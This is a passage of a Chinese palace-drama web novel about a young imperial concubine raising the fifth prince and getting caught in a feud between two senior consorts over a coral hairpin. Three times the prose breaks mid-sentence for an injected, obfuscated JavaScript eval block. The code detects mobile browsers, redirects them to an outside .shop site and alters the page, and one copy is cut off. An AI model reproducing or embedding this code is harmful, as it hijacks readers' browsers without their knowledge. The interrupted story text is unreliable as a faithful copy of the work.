于少微乐了,这孩子还挑食,难怪昨天与他说时一脸不情愿,不过不喜欢也不好勉强,她想了想,对青阳道:“你去与小厨房说一声,日后早晨的牛乳给五皇子换成牛乳茶,和豆浆一天一天轮换,晚上还是让他喝牛乳,记得不要拿太凉的…还有,早膳的粥里给他撒一把虾皮。” 青阳记下后转身去厨房交代,槐序侍立在旁,笑道:“婕妤对五皇子殿下实在用心。” 于少微乐了:“我既担了他母妃的名头,应该的。” “殿下也很敬重您呢,今早他去上学前还专门来给娘娘请安,只是娘娘那时还没起,殿下就直接去文华殿了。”槐序笑眯眯地看着面前一副意满自得的婕妤。 于少微莫名有种睡懒觉被抓包的羞耻,孩子太勤快,倒是衬得她这个老母亲实在懒惰,她沉吟片刻,随即一本正经的对着槐序道:“等他回来你去传话,让他以后早上不必来请安了,多睡会儿…算了,等晚膳时让他过来同我一起吃,我与他说。” 待亓轸下学回来,听到于婕妤让他去她宫里用膳的消息下意识皱眉,少年微微偏头,将面容藏在阴影下,槐序看不清他的表情,想了想又补了一句:“殿下,婕妤摆了晚膳在晴雨阁等您。” “知道了,我换身衣服就去,槐序姑姑先去回话吧。”少年声音清朗,笑容如春风拂面。 槐序行了个礼,放心的离开了,身后的小宫女也喜滋滋道:“五殿下人真和气。” 另一位宫女跟着点点头,“之前听沈贵人宫里出来的嬷嬷说五殿下幼时最是乖戾,方才一见竟是个顶温雅的人,不知是不是因着贤妃娘娘教养的缘故,但贤妃娘娘她——” “好了,不要再说了。”槐序有些严厉的打断她们的对话,两个宫女低头噤声,一路不再说话。 * 晴雨阁内,于少微将圆桌上的菜看了又看,满意得不行,小厨房的支出是宫里另外的拨的,不算在她的月例内,虽然皇上让后宫节俭,好在她也不是爱吃山珍海味的人,每日能过上点菜的生活,怎么都比她上辈子成天自己带饭上班强。 “他来了吗?”于少微见槐序回来了,朝人问道。 “殿下说他换了衣服就来。” 于少微给自己倒了杯水,“知道了,你们也下去吃饭吧,我让厨房多做了些,你们自己去端,我这先不用伺候了。” 槐序带着几个宫女感激谢恩,阖上门一齐退下了。 亓轸跨进晴雨阁的庭院时,发现空荡荡的院子竟然一个宫人都没有,惟有亮灯的宫室透着光,像个蛰伏的陷阱,少年眼底冷意翻涌,眉头蹙得更紧,警惕地扫视着周遭隐蔽角落。 待步上台阶,他深吸一口气,强压下眼底的锐利,表情重新变得平静无波,他先是侧耳听了听屋内动静,才缓缓抬手,谨慎地推开了那扇木门。 一进门,扑面而来的薄荷冰片的香气混着冰鉴的冷气扑面而来,顿时将浑身的燥意带走的干干净净。 于少微见人来了,坐着朝人招了招手,语调欢快:“快来快来,一直等着你呢!” 女子挽着家常的发髻,乌发如云,仅簪一支弯月钗,流苏随动作簌簌轻响,眉眼弯弯,笑容干净又有感染力。亓轸被冷气浸得微滞的大脑有瞬间愣神,察觉到自己的失态,他猛地回神,迅速敛起眼底的恍惚,垂眸上前端端正正地朝于少微行礼。 于少微毫不客气地坐下受礼,指了指自己左手边,“坐吧,自己拉椅子。” 亓轸在于少微身边坐定,头微微低着,两手规规矩矩地放在大腿上,与昨日如出一辙的拘谨。 小小年纪就过上寄人篱下的生活,记忆中她这个姑姑并非良善之人,亓轸在她那的日子可能过得并不舒心。少年拘谨的模样让她想起一些不愉快的往事,微不可查的叹了口气,偏过脸对着亓轸温言开导道:“我既是你母妃,来我这大可以放松些,在这宫里,除了陛下,咱俩就是最亲的人了。” 边说着边夹了一筷子鱼到他碗里,“这是太湖的白鱼,吃一起来一点都不腥,我见昨晚的鱼汤你喜欢,今日又让厨房蒸了鱼,你尝尝喜不喜欢?” 亓轸放在腿上的手悄悄攥紧了衣料,垂下的眼眸闪过一丝困惑,他悄悄用余光瞥了眼于少微的神色,见她神色坦荡,才缓缓夹起鱼肉,小口送入口中。 没有怪味,悬着的心瞬间落下半分。鱼肉细嫩,简单佐以豉油,味道就鲜得不行,他快速咽下,掩在睫毛下的眼珠子转了转,拿起公筷给于少微也夹了一块,试探道:“您也吃。” 他之前在于贤妃处见过几次于少微,细伶伶一条人,很安静,气质也有些畏缩,于家主母与贤妃说话,她坐在一旁像是透明一样,但他不经意间瞧见,她看向那两个妇人的眼神里,分明是带着恨的。他不觉得这样一个恨着于贤妃的人会对他这个养在其名下的皇子有好感。 亓轸冷眼看着旁边低头吃饭的女子,她想做什么?亦或,她有什么目的?少年仔细思索着自己身上可图谋的东西,指尖烦躁地捻紧袖口,脑中飞速思索,可眼前人与过去判若两人,信息太少,他实在捉摸不透,心底的疑惑愈发浓重。 “的确好吃!陛下赏的这位师傅手艺了得,明天得给师傅送点赏钱!” 女子愉悦的声音打断了亓轸的思索,他又瞥了一眼,试图与记忆中的人对上号……实在不像。 于少微吃得满足,心情也随之高涨,头上的流苏随着她吃菜的动作叮当做响,亓轸满眼都是她伸手夹菜时水蓝色的衣袖,安静…畏缩…透明……亓轸有些怀疑自己过去的判断了,这真的是一个人吗?他—— “发什么呆呢?尝尝这个鸡丝凉面,夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听到了吗?”于少微见到少年一脸呆滞的模样,声音提高了几度,心里有些担忧,这孩子总是发呆,莫不是有什么毛病吧?那么漂亮一少年,可别真有什么事啊,要不找个太医过来给他瞧瞧?用什么借口呢……肯定不能直接说他有毛病的,这个年纪的孩子最要脸面…… “母妃,母妃!” “嗯?怎么了?”于少微陡然回神 “儿臣说听到了,我先回去温书了。”亓轸看着于少微心里有点一言难尽,这人怎么总发呆,莫不是有什么毛病吧?有脑疾的人能当皇妃吗?要不找个太医过来看看?用什么借口呢…… “回去吧,看书不要看得太晚,仔细眼睛。”于少微斜了他一眼,依旧一副满怀心事的模样。 亓轸不想再看她,只颔首道:“儿臣告退。” * 次日清晨,亓轸看见早膳中的牛乳茶,有些惊讶:“…这是?” 身边的太监回话:“是婕妤娘娘身边的青阳交代的,婕妤说殿下既然不喜牛乳,就换成这牛乳茶,既温养,也不腥,还说这牛乳茶与豆浆轮换着喝,只是晚上的牛乳还是要喝的,娘娘说殿下您克服一下。” 亓轸心情有些复杂,他又不是三岁小儿了,不喜欢的东西还要人哄着喝……算了,少年端起牛乳茶喝了一口,口感顺滑,重点是一点牛奶的腥味也没有,不自觉又连喝了好几口。 “这个也是母妃让放的?”亓轸指着粥上虾皮道。 “娘娘说吃这个对殿下长个子有好处,说先让您试试,若是不喜欢她再换别的。” 亓轸尝了一口,没什么怪味,“不用换了,这个就行。” 太监“欸”了一声,继续伺候亓轸用膳,少年心不在焉的喝着牛乳茶,陷入沉思。 5. 第五章 宫里的规矩是逢双就要去皇后宫里请安,再由皇后领着去慈宁宫请太后安,不过太后不喜打扰,若无特殊情况,这个流程一般是免了的。 于少微不是个傻的,那日去皇后宫里走了一遭,也明白这请安的潜规则,虽定的时间是一样,但来的人却是要分个先后的,她的位份不高不低,见皇后前,怡春宫里还有个文淑妃等着她去拜,再不知今日皇后宫里又会发生什么,有这些官司在脑袋里排着,于少微早早就醒了,拉开纱帐本想喊人,但瞧见守夜的宫女正眼昏昏地打盹,心一软又躺了回去。 都不容易,她也不差这几分钟。 待槐序领着人来服侍,于少微一把坐起,槐序瞧见她清明的神色,不动声色地扫了眼守夜的宫女,笑道:“娘娘今个儿醒得早。” 于少微点点头,“还不是很习惯,你们日后还是这个时辰来喊我,不必改。” 槐序“嗳”了一声,招呼端着脸盆面巾的宫女们赶紧上前伺候。 今日备的是一件月白滚蓝边的广袖宫装,上头绣着莲花纹,青阳给她梳了个半翻髻,于少微端详着铜镜中的自己,忽然道:“将淑妃娘娘赠我的那支红珊瑚簪拿来。” 青阳放下手里的蓝宝钗,有些疑惑:“婕妤要带那支?” 于少微接过红珊瑚簪自己在脑袋上比划,青阳虽不解,但还是出言提醒道:“簪这儿好看。” 于少微将簪子递给她让她来。 一切收拾妥当,于少微看着镜中的自己,左右侧了侧脑袋,出乎意料……还不错! 青阳也觉得神奇:“婕妤真是好品味,没想到这珊瑚簪子与婕妤的衣裳这么相配。” 于少微自己也觉得有些惊讶,方才换好衣服梳好头才想起要戴,好在这红珊瑚雕的番莲花不大,在乌发里头半遮半掩,配着素色的衣裙,竟是出乎意料的和谐。 怡春宫位置适中,离未央宫只一刻多钟的脚程,于少微先去怡春宫主殿向文淑妃行礼,文淑妃已收拾妥当正坐在罗汉床上翻书,见于少微来了,目光立刻锁定了她头上的簪子,笑着赞了声:“你年纪轻,戴这种艳色好看。” “还得多谢娘娘赏赐。少微在家中从为戴过颜色如此鲜亮的首饰,也是拖了娘娘的福,才尝了回鲜。” 文淑妃满意,又道:“今日要去慈宁宫,想你是第一次见太后她老人家,若是问你什么,直说就是,太后不喜人兜圈子。” 于少微面上一喜,躬身又要行礼,文淑妃放下书虚扶了她一把,拍着她手道:“你是我宫里的人,不必那么客气,时候不早了,你快去吧。” * 慈宁宫 今个儿人来得齐,上回告病的德妃也来了,于少微偷偷打量一圈,估摸着有二十来人,满屋子衣香鬓影,各式脂粉味混在一起味道倒奇迹般的和谐。 除了上首的太后与陪坐一旁的皇后在说话,余下的都微侧着脸,屏气凝神地听着,除了鬓边偶尔的珠玉晃动,大家都安静极了,连一贯骄矜的谢贵妃也沉静的很,与文淑妃一左一右,是难得的和谐气氛。 明年开春是太后六十岁诞辰,恰逢南北夷族来朝,乃是数十年难遇的盛事,二者时间相近,庆帝决定将太后的万寿宴与外宾的番夷宴一齐办置,宫中上下好好热闹一番,也借此宣扬大夏的国威。 接待外宾一事向来由鸿胪寺与礼部负责,然此事涉及太后寿诞,外宾的家眷也需接待照应,后宫也有很重的责任。陈皇后自三皇子病逝后身体一直称不上精神,不宜过多操劳,然此次宴席意义重大,不但是为太后千秋祈福,还涉及到国家颜面,绝对不能马虎。 原是考虑在谢贵妃与文淑妃二者中寻一协助,但这两个死对头听闻此事后又是争了许久,闹得庆帝与皇后都头疼不已,庆帝前朝政务缠身,将这担子一起丢给皇后,让她尽快处理好,而皇后又是个中正心慈的,借口近来身子不爽利,索性让二人一起主持,她也卸了半打担子,乐得担个监督的名头,一下子皆大欢喜。 主意打定,皇后立马派人将贵妃和淑妃喊来宣告决定,见两人都不说话,又有些面带担忧地说道:“你俩的本事本宫是知道的,近年来后宫之事帮我分担了不少,有些话本宫本不必多讲,只是明年的庆典是陛下登基以来排得上名号的大事,还望两位妹妹好好协作,莫将不相干的情绪带进来。” 文淑妃立马点头称是,其实在筹办庆典宴席一事,宫中一直多交由谢贵妃负责,一则她世家出身,本就见多识广,懂得多会得多,二则她们二人虽明面上都是协理后宫事务,但她多负责财务账本方面,所以,这个庆典协助的人选最初皇上皇后两人都意属谢贵妃,如今被她横插一脚,谢贵妃近日的脸色一直难看得很,明里暗里找了她不少茬。 谢贵妃见文淑妃一脸端庄自持,恨不得挽起袖子和她干一架,成天跟个偷腥的猫似的,闻到哪有味儿了就要上前掺一脚,偏偏还有装作一副与世无争的样子,仿佛这些不是她钻营出来的,而是别人巴巴地给她送上去的,真是要多恶心有多恶心。 文淑妃欣赏着谢贵妃愤怒的表情,心里觉得舒畅极了,开春庆典那么大块肥肉,怎能让她一个人占了去,就算不冲里头的好处,只要能让谢贵妃吃瘪,她就乐意至极。 越想越高兴,文淑妃趁皇后不注意给人飞了个笑眼,笑吟吟道:“贵妃姐姐怎么这般看着我?我瞧你嘴唇都起皮了,莫不是天气太热上火了?刚好我这有清火的凉茶,听说是岭南那边的方子,祛湿除热管用得紧,我等会儿派人送到你宫里可好?” “啪嚓——” 一个瓷杯砸到了淑妃脚边,溅起的茶水打湿了她的裙角,淑妃眼里笑意更盛,张嘴正欲再说些什么,就被皇后严厉打断 “你们两个都给本宫安静!” 见皇后面有怒色,文淑妃敛了脸上的笑意,低头告罪:“是臣妾的错,不该惹谢姐姐生气,失了体统还望娘娘恕罪。” 皇后看了看低头认错的淑妃,又看了看仿佛要吃人的贵妃,觉得头愈发痛了,招手让宫人把碎瓷杯收了,缓了缓,又语重心长道:“你们二人都是当娘的人了,孩子都要成人了,闹了那么多年,怎么还不消停?” 两人闭嘴不言。 皇后先看淑妃:“你一直是个稳重性子,陛下常常称赞你办事妥帖仔细,怎么每每对上凝华就变成这个样子?这件事本身就是你占了利,明知凝华心里不舒坦你偏还要去招她,你有错在先,必须给人赔不是。” 文淑妃不多言,爽快点头,起身端了杯茶给谢贵妃,爽利道:“凝华姐姐我给您赔不是来了,还望您大人有人量饶了我这回吧。” 谢贵妃偏过头不想搭理,但瞧见皇后不赞同的神色,还是憋着气将杯子接了过去,咚得一声重重放在小几上,文淑妃仿佛看不见般,任务完成,转身脚步轻快的回到了自己位置。 皇后又看向贵妃:“凝华。” 谢贵妃不情不愿地“欸”了一声,表示自己在听。 “这件事是慈音不对,本宫已经教训过她,她也与你赔礼道歉了,此事就算翻篇了,宫中各类宴席一直都是你在负责,庆典一事,慈音不及你擅长,还望你多多上心,届时需要什么权限,本宫尽力为你争取。” 谢贵妃本是满脸不忿,等听到后半句,面上瞬间多云转晴,努力绷着脸朝皇后做了保证,中途又瞟了眼文淑妃,见她面色平和,没一点生气的样子,心里又是一阵不爽。 主要负责人的事情解决,后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849596|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再到太后宫里,主要就对后宫众人起一个宣告作用,两位在皇后宫中吵得摔杯子的娘娘,到了太后宫里,面对众妃嫔,倒是端得一副通情达理,携手共进,服从安排的和睦模样。 太后并不关心后宫之间的争执,年纪渐长,她一直专心调养自己身子,争取再多活个几十年,已经很久没有插手后宫事务,听完皇后的报告,也只说了一句“照安排做吧。”便没再问起。 许是多年养生的成效,太后虽年近六十,看着却是个很有精神的老太太,连鬓边的银丝也比寻常六旬老太少不少,面色红润,说话气也足,比着略显憔悴的皇后,于少微合理怀疑,最好的养生其实是少操心。 中气十足的太后听皇后汇报完宫中近况,眼珠子慢悠悠地转了一圈,突然道:“宫里来了新人?” 皇后点头称是:“于贤妃的侄女,叫少微,住淑妃宫里。” “人走到我跟前看看。”太后饶有兴趣道。 于少微有些胆怯地上前行了个礼,走到太后面前微微躬身,任其打量。 “是个整齐的孩子,不过与你姑姑长得不像。”太后仔细扫过后做出评价。 于少微不知该如何作答,只得用力微笑。 “你这孩子别这么笑,老了眼尾全是纹。”太后不赞同的抿直了唇线,犀利直言。 周围传来一片低笑,于少微笑容一滞,这下子是真不知该如何是好了。 太后被于少微略显扭曲的表情逗笑,抬手让人拿了个绣墩过来让她坐,看着其花朵般充满朝气的面庞一时感慨万千,面露怀念:“我初入宫时也是你这般模样,年轻、有朝气。” 于少微一听,立马抖擞道:“您现在也有朝气得很!浑身的精神气是臣妾再年轻十岁都比不上的。” 太后最喜别人夸她精神,笑眯眯地摸了摸于少微的脸,又道:“听说五皇子给你养了?” 这也不是什么都不知道的嘛,于少微暗自腹诽,点头道:“前日送过来的。” 太后转头看向淑妃:“她年纪轻,许多不懂的你多教教。” 淑妃含笑称是。 太后又看过来,问起于少微家里,她想起淑妃的叮嘱,也只老实说自己在父母面前并不得喜。 “家中姊妹一多父母很难顾全,不过女子总归是要嫁人的,在家中待不了多少年,嫁人了就又有了新家,这才是一辈子的事。”太后握着于少微的手,温言劝慰。 于少微觉得太后话里有话,赶忙作出一副受教的表情,乖顺点头。 太后脸上笑意未减,又扫了眼于少微,目光忽然落在她的衣裙上,眉峰微蹙,带着几分挑剔道:“你正是花一般的年纪,穿得未免太过素净了。待会儿我让人挑几块鲜亮的料子送你,衬得气色才好。” 于少微起身谢恩。 太后的视线又落在于少微低垂的发髻上,红珊瑚簪子在光影里透着温润光泽,她方才的几分嫌弃散去不少,颔首道:“这支珊瑚簪子倒是精巧,配你很合宜。” “谢母后夸赞。”于少微柔声应着,抬眸时眼底带着几分浅淡笑意,“这是淑妃娘娘特意赠与妾身的。” 谢贵妃听见“淑妃”二字时,目光立刻钉在于少微的发髻上,又飞快转向淑妃,见淑妃笑意盈盈地点头认下,她指尖猛地在掌心掐出几道深痕,指甲几乎要嵌进肉里。 接下来的闲谈中,谢贵妃忽然敛了声气,再无往日的活络。淑妃瞥了她一眼,嘴角勾起一抹不易察觉的冷笑,拉着于少微的手,话语愈发热络。 待从太后宫中出来,淑妃并未乘轿,而是和于少微一道步行回宫。二人刚转过一道月洞门,前方却忽然传来一阵脚步声,谢贵妃带着数名宫人,正冷冷地拦在路中。 6. 第六章 于少微敛衽躬身,率先行了一礼,可谢贵妃像是全然未察,轿撵上的身影微微前倾,目光如淬了冰的针,死死钉在文淑妃身上。 文淑妃缓过最开始的惊讶,随意拂了拂袖子,脖颈微扬,迎上谢贵妃的目光,不躲不避,神情隐隐有些兴奋。 谢贵妃坐在轿撵上,文淑妃在离她约十步远的地方站着,两人就这般静默着,周遭的宫人早已敛声屏气,一个个垂首敛目,连呼吸都放得极轻,生怕火烧到自己身上。 于少微还维持着半蹲的行礼姿势,谢贵妃未发话,她不敢起身,没多久腿肚子便隐隐发颤,酸胀感顺着四肢百骸蔓延开来,她偷偷抬眼,飞快瞥了眼轿撵上的谢贵妃,又瞟向旁边的文淑妃,见两人依旧针锋相对地胶着着,才悄悄挺直了些许腰身。 七月天气多变,方才还晴好的天空,转瞬乌云密布,远处天际滚来沉闷的雷声,于少微暗暗着急,恨不得上前替两人问话。 雷声愈来愈近,仿佛就在头顶炸响,谢贵妃率先收回目光,抬了抬眼皮,有些讽刺道:“你现在倒是沉得住气。” 文淑妃一脸无辜:“我听不懂你在说什么。” 旁边偷听的于少微一噎,谁信?反正她不信。 谢贵妃也不信。 “贵妃娘娘有事就说,这天眼看要下雨了可别扯着我们陪你一起淋雨。”文淑妃见人沉默,随意瞟了眼于少微,又继续道。 谢贵妃冷笑一声,目光跟着扫过一旁的于少微,后者猝不及防对上这道锐利的视线,身子猛地一激灵,连忙站直了身子,扯出一个僵硬的微笑。文淑妃见状,伸手将于少微扯到身后,语带警告:“于婕妤是我宫里的人,贵妃娘娘这般盯着她,倒是让她难安。” 于少微浑身僵直,顶着两道射来的目光,笑得比哭还难看。 求求了,快别扒拉她,她感觉自己有点死了。 谢贵妃轻嗤一声,目光重新落回文淑妃身上,语气带着几分讥诮:“你倒是待你宫里的人好。” “谁真心待我,我自然加倍还回去。”文淑妃拉长了语调,字字清晰,半点不落下风。 又是一声惊雷炸响,于少微立马抬眼望天,厚重的乌云像是浸了墨的棉絮,沉沉地压在宫檐之上,仿佛下一刻就要砸落下来。 谢贵妃不再兜圈子,语气沉了几分,直奔主题:“那件东西,你为什么不要了?” 文淑妃挑了挑眉,饶有兴味的开口:“我的东西,想留想弃,全凭心意,不劳贵妃娘娘费心挂怀。” “哼,现在不装糊涂了?”谢贵妃语调上扬,轿撵上的身影微微挺直,像是终于抓住了对方的破绽,整个人神气起来。 文淑妃冷冷看着她,表情要笑不笑。 谢贵妃嘴角微撇,暗暗吸了口气,语气软了些许:“那件事,当初是我不对,可是——” “现在说这些有什么意思?”文淑妃有些尖利的打断,顿了一下,看见谢贵妃瞬间染上落寞的眉眼,话音一转,轻笑道:“凝华姐姐这是……在向我求和?不过一支簪子罢了,我早就忘了,没想到竟还劳得你这般眷恋,既然如此,当初又何苦巴巴地送来?” 她说这话时,面部肌肉微微向上提拉,端庄姝丽的脸庞上交织着不屑与怨恨,眼底却翻涌着难以掩饰的兴奋与畅意。 于少微稍稍往外挪了半步,生怕她下一秒就要大笑起来。 谢贵妃几次张了张嘴,像是有千言万语堵在喉头,可最终什么都没说,只是深深看了文淑妃一眼,那眼神有愧疚,有怨恨,还有一丝无可奈何的怅然,复杂得让人捉摸不透,良久,她挥了挥手,沉声道:“起轿。” 文淑妃收回目光,转身欲走,身后却突然传来谢贵妃的声音,轻得像是一阵风 “我见那簪子第一眼,就觉得它很衬你。” 文淑妃的脚步猛地一顿,方才那盛气凌人的气势,像是被这一句话瞬间抽走了所有力道,脊背微微绷紧,独自快步朝怡春宫的方向走去。 于少微落后几步,清晰地听到身后传来一声极轻的叹息。 这场酝酿许久的雨,终究没有落下来,大片大片的乌云在于少微走到怡春宫时就已消失殆尽,天空碧蓝如洗,连一丝云影都无,她在文淑妃的寝宫前迟疑了片刻,终究没有进去,转身抬脚,抬脚朝晴雨阁走去。 回去之后,于少微将头上的红珊瑚簪拔下,珊瑚朱砂般的红在灯下泛着沉郁的光,她眸色微动,扬声唤道:“青阳。” 青阳应声而入,于少微将簪子递过去:“去司珍房问问这簪子的来历。” “是。”青阳接过簪子取了干净的锦帕将它细细裹好,攥在手心径直出了门。 “婕妤你……”槐序端着一杯温茶进来,面上满是担忧。 于少微接过茶盏抿了一口,暖意顺着喉咙滑下,才淡淡道:“你去叫厨房做几道爽口的菜,我想现在把早午饭一起吃了。” 槐序应声转身,走到门边又忍不住回头望了一眼,于少微靠在罗汉床上,指尖无意识地摩挲着茶盏边缘,见她这般,摆了摆手道:“快去吧。” 其实也不算什么事,她隐隐有预感,这支簪子虽然戴在她头上,但祸引子却不在她,方才谢贵妃与文淑妃的对峙,那眼神里的纠葛与执念,分明是积了多年的旧怨,这支簪子不过是个由头,她们二人针尖对麦芒,眼里哪有她这个无关紧要的局外人。 不多时,饭菜端了上来,清爽的凉拌藕片、酸甜的山楂糕、温热的鸡丝粥……都是合口的吃食。于少微慢条斯理地用着膳,刚放下碗筷,青阳便急匆匆地回来了。 槐序见状,连忙上前关好房门,青阳这才松了口气,压低声音道:“回婕妤,奴婢去问了司珍房的掌事姑姑,她说这簪子并非宫里打造,奴婢又再三拜托,才打听出来,这簪子是承明二年三月南边进贡的贡品,当年陛下特意赐给了现在的贵妃娘娘。” 于少微接过珊瑚簪,红珊瑚质地温润,朱砂般浓郁的红有着岁月沉淀的醇厚色泽,花瓣的模样按照珊瑚天然的形态与纹理雕琢,靠近花心处缀着细小的珍珠,似晨露凝驻。 于少微看向槐序:“你可知淑妃娘娘那个孩子是什么时候没的?” 槐序闻言一怔,皱眉细细思索片刻,脸色微变:“回婕妤,正是承明二年的三月。” 主仆二人对视恍然。 青阳听得一头雾水,却也不敢多问,只低着头站在一旁。于少微瞧着她好奇又拘谨的模样,拿起桌上一碟花生酥糖,笑眯眯地递过去:“这是今日从太后娘娘宫里带来的,给你了,抵那日你给我的糖。” 青阳一愣,连忙屈膝跪下:“奴婢不敢,这是太后娘娘赏给婕妤的……” “让你拿着就拿着。”于少微伸手将她扶起,硬是把糖碟子塞进她手里,语气不容拒绝,“答应过你的,自然要做到,这是你应得的。” 青阳端着糖碟子,双手兴奋得微微发抖,像是捧着什么稀世珍宝,她结结巴巴道:“那……那奴婢能不能分几块给紫阳他们?” “当然可以。”于少微笑着点头,“这是你的东西,你说了算。” 青阳喜不自胜,连忙躬身谢恩,又转头看向槐序:“槐序姑姑我先给你抓两块!” 槐序先是看向于少微,见她含笑点头,才笑着应道:“托娘娘和你的福,我也能尝尝太后宫里的点心了,你放在我这帕子里吧,我待会儿再吃。” 青阳脆生生“欸”了一声,兴冲冲地抓起两块酥糖放进槐序的手帕里,蹦蹦跳跳地出去了。于少微看着她雀跃的背影,脸上的笑意柔和了许多,上午的插曲渐从脑里掠过。 恰在此时,窗外忽然传来“哗啦啦”的声响,回宫路上未下的雨,终于在此时以瓢泼之势落下,急促的雨珠砸在青瓦上、地面上,噼里啪啦的声响像是无数串炮仗在同时炸开,密密的雨帘将窗外的景物罩得模糊不清,只余下一片朦胧的水汽。 屋内光线渐渐昏暗下来,槐序连忙点亮了烛火,黄色的烛焰被窗隙钻进来的风一吹,左右摇晃,投下斑驳的光影,于少微定定看了片刻,起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849597|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身拿来剪子,轻轻将过长的灯芯剪去,烛火顿时暗了几分,屋内也显得愈发静谧。 “你们都下去吧。”她打了个哈欠,朝床榻走去,“我睡会儿,晚膳前没什么事,不用来叫我。” 槐序等人伺候她躺好,放下纱帐,便轻手轻脚地退了出去。雨天最宜睡觉,今早起得早,又经了这许多事,再加上方才吃得几分饱足,于少微闭上眼,不多时便沉沉睡了过去。 再次醒来时,天色依旧昏沉,于少微睡得有些头晕,掀起纱帐,探头问道:“现在是什么时辰了?” 守在外头的宫女连忙上前,小心翼翼地扶她起身:“回婕妤,已经是酉时了,您可要传膳?” 于少微摇摇头,揉了揉发胀的太阳穴:“雨还在下吗?” “还在下呢,已经下了一下午了。”宫女说着,点亮了屋内的烛灯,屋里顿时亮堂起来。 于少微顺着她的目光看向窗外,雨丝依旧斜斜地织着,只是比起先前,已经小了许多,打在窗棂上,发出细密的“沙沙”声。 浑身睡得酸软,她忽然生出几分出门走走的念头,只是落雨天出行多有不便,她正琢磨着找个由头,忽然想起什么,问道:“五皇子下学了吗?” “回婕妤,还有一个时辰呢。” “竟要学这么久。”于少微喃喃道,心里不由得生出几分怜惜,若是到了冬日,岂不是要摸着黑才能回来? 她顿了顿,又问:“五皇子身边的人,可有备好雨具?” 话音刚落,槐序便走了进来,她挥手让那宫女退下,见于少微抵着额头皱眉,便走到她身后,轻轻替她按揉太阳穴,语气温和:“婕妤放心,殿下身边的内侍自然会备好,不会让殿下淋着的。” 于少微舒服地眯起了眼,等槐序收回手,她才缓缓开口:“我想去文华殿接他下学,我能去吗?” 槐序一愣,显然没想到她会有这个念头,连忙劝道:“婕妤,外面路滑泥泞,弄湿了鞋袜容易着凉,要不……下次再去接殿下?” “就今天。”于少微摇摇头,语气坚定。下雨去才显得有诚意,突然出现才有惊喜,更何况,她此刻确实浑身不得劲,亟需出去透透气。 槐序见她态度坚决,只好打发人去看看外头的雨势。不多时,宫女回来禀报:“回姑姑,雨已经小多了,看天色一时半会儿也停不了,地面是湿的,但没有积水,慢行便是。” 槐序无奈地叹了口气,知道劝不住她,便招呼人过来给她梳妆。于少微坐在镜前看青阳给自己梳头,槐序给她端来一杯热茶,她喝了一口放下,突然问道:“宫里的娘娘们会接皇子们下学吗?” 槐序点点头:“皇子们小时娘娘们基本都会去,大了之后就去得少了。” 于少微沉思,槐序知道她想问了什么,又补了一句:“丽贵人与贤妃不曾去接过殿下。” 于少微叹了口气,果然和她猜得一样,她不禁想,只有几岁的亓轸看着身边的兄弟陆陆续续被自己娘亲接走,只有自己孤零零一个,能陪着的只有身边的小太监。 槐序瞧见于少微耷拉下来的眉眼,也在心里暗暗叹气,婕妤是个心慈心软的,对他们来说自然是有好处的,可是在这宫里,却不见得是多好的事情。 于少微还是穿的今日那身衣裳,只是将头上的簪子换成了一支小巧的蓝宝簪,珊瑚簪被她放进了妆奁的最底层,她应该是再也不会戴它了。 考虑到外头地湿,槐序特意给她找了双鞋底较厚的绣鞋,又让人备好油纸伞。临出门时,于少微忽然想起什么,转头问道:“厨房里有没有方便拿在手上吃的点心?” 一个小宫女连忙应声,撑着伞快步跑了出去,不多时便提着一个食盒回来:“回婕妤,还有太后娘娘赏的红绫馅饼,温热着呢。” 于少微打开食盒看了看,馅饼还冒着热气,香气扑鼻。她笑道:“拿两个就好,剩下的留着,等我们回来再吃。” 孩子总是期待父母接自己下学,若是带了好吃的,他们会更开心。 7. 第七章 亓轸坐在文华殿书房的最后一排,翰林院的大学士今日讲的是《公羊传》,四皇子亓轩一直嚷嚷他在太子那里听过,太子说这是很重要的东西,亓轸很烦他,但关于太子的事情亓轩不会乱讲,来讲学的苏大学士是翰林院公认的大儒,亓轸直了直久坐僵硬的脊背,将毛笔放到砚台里吸饱墨,目光重新落回书页,继续凝神听讲。 窗外雨还在下,淅淅沥沥,下得缠缠绵绵,仿佛没有尽头。苏学士抬眼望了望檐外的雨丝,又瞥了眼案上即将燃尽的香烛,清了清嗓子道:“诸皇子,翻至下一页。” 亓轸对此并无所谓,甚至巴不得多留片刻,他素来厌恶雨天行路,湿滑的石板路总让他觉得步步受限。可四皇子亓轩却坐不住了,屁股底下像是着了火,扭来扭去,一双脚在桌下蹭个不停,他心里早盼着下学去找太子,哪料这老夫子一声不吭便拖堂,急得他嘴角嗫嚅着想说些什么,可一想到太子若是知道他顶撞先生,定会不悦,便又硬生生憋了回去。 亓轸冷眼看着前头坐立难安的身影,只觉得碍眼得很。 